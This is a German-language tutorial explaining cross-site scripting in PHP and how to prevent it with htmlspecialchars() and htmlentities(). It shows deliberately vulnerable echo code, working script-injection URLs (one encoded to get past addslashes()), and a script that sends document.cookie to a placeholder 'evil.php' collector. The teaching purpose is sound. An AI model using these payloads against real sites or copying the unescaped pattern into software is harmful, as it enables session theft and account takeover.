XSS (Cross Site Scripting)

Was ist Cross Site Scripting?
Cross-Site Scripting (XSS) bezeichnet das Ausnutzen einer Computersicherheitslücke in Webanwendungen, indem Informationen aus einem Kontext, in dem sie nicht vertrauenswürdig sind, in einen anderen Kontext eingefügt werden, in dem sie als vertrauenswürdig eingestuft werden. Aus diesem vertrauenswürdigen Kontext kann dann ein Angriff gestartet werden.

Ziel ist es meist, an sensible Daten des Benutzers um beispielsweise seine Benutzerkonten zu übernehmen (Identitätsdiebstahl).

Beispiele für Cross Site Scripting

<?php
echo "<title>".$_GET['title'] ."</title>";
?>

Dieser Code mag zwar ohne Zweifel durchaus funktionieren, bietet Hackern aber leichte Beute. Wird die Seite folgendermaßen aufgerufen, lässt sich jeder beliebige HTML/JS Code ausführen:

http://example.com/site.php?title=</title><script>alert('xssed!');</script>

Selbst wenn man die Variable via addslashes() bearbeitet (oder magic_quotes_gpc aktivert ist), ließe sich noch immer ein XSS-Angriff durchführen. Hier noch ein kleines Beispiel dazu:

<?php
echo "<title>".addslashes($_GET['title'])."</title>";
?>

Mit Hilfe von String.fromCharCode() und einer ASCII-Tabelle lässt sich noch immer ohne Probleme ein XSS-Angriff durchführen.

http://example.com/site.php?title=</title><script>alert(String.fromCharCode(88, 83, 83, 69, 68));</script>

Beim Aufruf würde man, wie auch schon bei bei oberen Beispiel, eine JS-Messagebox mit dem Inhalt "XSSED" auf dem Bildschirm zu sehen bekommen.

Natürlich ist auch hier das ausführen von HTML-Code ohne weiteres möglich, auch ganz ohne ASCII-Tabelle, da die Größer- und Kleiner-Zeichen ja per addslashes() unverändert bleiben.

Natürlich ist mit XSS nicht nur das ausführen von JavaScript Alerts möglich. XSS kann auch dazu genutzt werden, Cookies zu stehlen.

<script>
  document.location="http://example.com/evil.php?cookie=" + document.cookie;
</script>

Dieser Code leitet auf eine ander Seite um. Im Regelfall auf eine vom Hacker präperierte Seite, die den GET-Parameter abfängt und speichert. Anschließend kann sich der Angreifer einfach mit dem Cookie des Opfers einloggen. Diese Art von Angriff kann z. B. auch über verlinkte Bilder und ähnliches passieren. In diesem Fall würde das Opfer gar nichts davon mitkriegen, dass sein Cookie soeben gestohlen wurde.

Wie kann ich mich schützen?
Um HTML-Tags unbrauchbar zu machen gibt es in PHP die Funktionen htmlentities() und htmlspecialchars().

<?php
echo htmlspecialchars("<script>alert('Ich bin böser Code!');</script>");
?>

Es ist immer besser htmlentities() statt htmlspecialchars() zu verwenden. Die Funktion htmlentities() wandelt anders als sein "kleiner Bruder" alle Sonderzeichen in HTML-Code um. Aber auch htmlspecialchars() schützt natürlich vor XSS-Angriffen.

Einen Kommentar hinterlassen

Dein Kommentar